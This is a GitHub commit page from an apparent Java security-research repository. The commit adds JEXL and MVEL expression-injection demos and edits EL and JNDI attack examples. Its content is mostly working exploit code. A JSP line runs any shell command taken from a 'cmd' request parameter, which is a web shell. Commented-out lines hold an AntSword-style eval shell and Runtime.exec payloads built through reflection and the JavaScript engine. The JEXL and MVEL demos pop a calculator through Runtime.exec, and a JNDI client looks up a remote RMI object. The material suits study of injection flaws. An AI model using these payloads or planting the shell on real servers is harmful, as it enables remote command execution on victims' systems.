Skip to content

Commit 3d6c70d

Browse files
WhoopsunixWhoopsunix
committed
add MVEL JEXL :)
1 parent 6bdd480 commit 3d6c70d

File tree

21 files changed

+306
-32
lines changed

21 files changed

+306
-32
lines changed

‎Command/pom.xml

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -45,10 +45,10 @@
4545

4646
<build>
4747
<plugins>
48-
<plugin>
49-
<groupId>org.springframework.boot</groupId>
50-
<artifactId>spring-boot-maven-plugin</artifactId>
51-
</plugin>
48+
<!-- <plugin>-->
49+
<!-- <groupId>org.springframework.boot</groupId>-->
50+
<!-- <artifactId>spring-boot-maven-plugin</artifactId>-->
51+
<!-- </plugin>-->
5252
<plugin>
5353
<groupId>org.apache.maven.plugins</groupId>
5454
<artifactId>maven-compiler-plugin</artifactId>

‎Expression/ELAttack/src/main/webapp/el.jsp

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,21 +1,21 @@
11
<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8" %>
22
<h1> EL 写法 </h1>
33

4-
<h1>反射构造Runtime</h1>
5-
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"whoami")}
4+
<%--<h1>反射构造Runtime</h1>--%>
5+
<%--${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"whoami")}--%>
66
<h1>反射构造Runtime - 外界参数</h1>
77
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),pageContext.request.getParameter("cmd"))}
88

9-
<h1>命令执行回显 Ref: https://forum.butian.net/share/886</h1>
10-
${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("ifconfig").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}
9+
<%--<h1>命令执行回显 Ref: https://forum.butian.net/share/886</h1>--%>
10+
<%--${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("ifconfig").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}--%>
1111

12-
<h1>JS引擎</h1>
13-
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('whoami')")}
14-
<h1>JS引擎 - 回显</h1>
15-
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var runtime = java.lang./**/Runtime./**/getRuntime();var process = runtime.exec(\"hostname\");var inputStream = process.getInputStream();var scanner = new java.util.Scanner(inputStream,\"GBK\").useDelimiter(\"\\\\A\");var result = scanner.hasNext() ? scanner.next() : \"\";scanner.close();result;")}
12+
<%--<h1>JS引擎</h1>--%>
13+
<%--${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('whoami')")}--%>
14+
<%--<h1>JS引擎 - 回显</h1>--%>
15+
<%--${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var runtime = java.lang./**/Runtime./**/getRuntime();var process = runtime.exec(\"hostname\");var inputStream = process.getInputStream();var scanner = new java.util.Scanner(inputStream,\"GBK\").useDelimiter(\"\\\\A\");var result = scanner.hasNext() ? scanner.next() : \"\";scanner.close();result;")}--%>
1616

17-
<h1>蚁剑</h1>
18-
<%out.print(org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(request.getParameter("ant"), String.class, pageContext, null));%>
17+
<%--<h1>蚁剑</h1>--%>
18+
<%--<%out.print(org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(request.getParameter("ant"), String.class, pageContext, null));%>--%>
1919

2020
<h1>web路径</h1>
2121
${pageContext.servletContext.getResource("")}

‎Expression/JEXLAttack/pom.xml

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
5+
<groupId>com.ppp</groupId>
6+
<artifactId>JEXLAttack</artifactId>
7+
<version>1.0</version>
8+
<packaging>jar</packaging>
9+
10+
<name>JEXLAttack</name>
11+
12+
<properties>
13+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
14+
</properties>
15+
16+
<dependencies>
17+
<dependency>
18+
<groupId>org.apache.commons</groupId>
19+
<artifactId>commons-jexl3</artifactId>
20+
<version>3.0</version>
21+
</dependency>
22+
</dependencies>
23+
</project>

‎Expression/JEXLAttack/src/main/java/com/ppp/Demo.java

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
package com.ppp;
2+
3+
import org.apache.commons.jexl3.*;
4+
5+
/**
6+
* @author Whoopsunix
7+
*/
8+
public class Demo {
9+
public static void main(String[] args) {
10+
String poc = "''.class.forName('java.lang.Runtime').getRuntime().exec('open -a Calculator.app')";
11+
System.out.println(eval(poc));;
12+
}
13+
14+
public static Object eval(String poc) {
15+
JexlEngine engine = new JexlBuilder().create();
16+
JexlExpression Expression = engine.createExpression(poc);
17+
18+
19+
JexlContext Context = new MapContext();
20+
//Context.set("foo", 999);
21+
22+
Object rs = Expression.evaluate(Context);
23+
return rs;
24+
}
25+
}

‎Expression/MVELAttack/pom.xml

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
5+
<groupId>com.ppp</groupId>
6+
<artifactId>MVELAttack</artifactId>
7+
<version>1.0</version>
8+
<packaging>jar</packaging>
9+
10+
<name>MVELAttack</name>
11+
12+
<properties>
13+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
14+
</properties>
15+
16+
<dependencies>
17+
<dependency>
18+
<groupId>org.mvel</groupId>
19+
<artifactId>mvel2</artifactId>
20+
<version>2.2.8.Final</version>
21+
</dependency>
22+
</dependencies>
23+
</project>

‎Expression/MVELAttack/src/main/java/com/ppp/Demo.java

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
package com.ppp;
2+
3+
import org.mvel2.MVEL;
4+
5+
import java.io.Serializable;
6+
import java.util.HashMap;
7+
import java.util.Map;
8+
9+
/**
10+
* @author Whoopsunix
11+
*/
12+
public class Demo {
13+
public static void main(String[] args) {
14+
String poc = "Runtime.getRuntime().exec(\"open -a Calculator.app\")";
15+
System.out.println(eval(poc));
16+
;
17+
}
18+
19+
public static Object eval(String poc) {
20+
Map vars = new HashMap();
21+
Serializable serializable = MVEL.compileExpression(poc);
22+
vars.put("1", poc);
23+
Object o = MVEL.executeExpression(serializable, vars);
24+
return o;
25+
}
26+
}

‎Expression/pom.xml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,8 @@
1212
<module>OGNLAttack</module>
1313
<module>SPELAttack</module>
1414
<module>JxPathAttack</module>
15+
<module>JEXLAttack</module>
16+
<module>MVELAttack</module>
1517
</modules>
1618

1719
<name>Expression</name>

‎JNDIAttack/src/main/java/jndi/Exec.class

677 Bytes
Binary file not shown.

‎JNDIAttack/src/main/java/jndi/Exec.java

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
//package jndi;
2+
//
3+
///**
4+
// * @author Whoopsunix
5+
// */
6+
//public class Exec {
7+
// static {
8+
// System.out.println("static");
9+
//// new Exec();
10+
// }
11+
//
12+
// public Exec() {
13+
// System.out.println("Exec");
14+
// try {
15+
// Runtime.getRuntime().exec("open -a Calculator.app");
16+
// }catch (Exception e){
17+
//
18+
// }
19+
// }
20+
//}

‎JNDIAttack/src/main/java/jndi/JNDIClient.java

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
package jndi;
2+
3+
import javax.naming.Context;
4+
import javax.naming.InitialContext;
5+
import java.util.Properties;
6+
7+
/**
8+
* @author Whoopsunix
9+
*/
10+
public class JNDIClient {
11+
public static void main(String[] args) throws Exception {
12+
// client1();
13+
client2();
14+
}
15+
16+
public static void client1() throws Exception {
17+
Properties env = new Properties();
18+
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
19+
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
20+
Context ctx = new InitialContext(env);
21+
ctx.lookup("Exec");
22+
}
23+
24+
public static void client2() throws Exception {
25+
// JDK >= 8u121
26+
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
27+
28+
new InitialContext().lookup("rmi://127.0.0.1:1099/Exec");
29+
}
30+
}

0 commit comments

Comments
 (0)